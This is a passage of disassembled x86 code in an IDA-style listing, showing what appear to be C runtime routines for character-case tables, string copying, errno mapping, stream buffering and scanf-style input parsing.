loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
; ---------------------------------------------------------------------------


loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4DC7E1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4DC6E0[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------


loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4DC7E1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------


loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4DC6E0[eax], 0


loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228


loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4DC914, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4DC914, 1

locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC6DC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------


loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]


loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DC7E1[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------


loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2


loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0


loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]


loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB334, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------


loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_43C504, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------


loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371


loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_43C2F8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------


loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DB27C, ecx
		mov	eax, offset dword_43C610


loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43C778
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4DB278, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_43C614[edx*8]
		mov	dword_4DB278, eax
		retn
; ---------------------------------------------------------------------------


loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4DB278, 8
		jbe	short locret_420445


loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4DB278, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_43CA08
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------


loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_43CA28
		jnz	short loc_4204CF
		push	1
		pop	eax


loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4DB460
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4DB304[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DB304h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------


loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx


loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------


loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_43C504, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------


loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_43C2F8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch


loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------


loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43C504, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------


loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673


loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]


loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------


loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1


loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------


loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C


loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6


loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi


loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------


loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------


loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6


loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------


loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]


loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF


loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh


loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_43C504, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------


loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------


loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_43C508, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_43C508
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_43C504, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------


loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------


loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A


loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------


loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4


loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------


loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_43C504, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------


loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------


loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43C8A8
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1


loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_43C780
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF


loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1


loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A


loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------


loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh


loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------


loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------


loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------


loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1


loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_43C778


loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh


loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]


loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------


loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl


loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
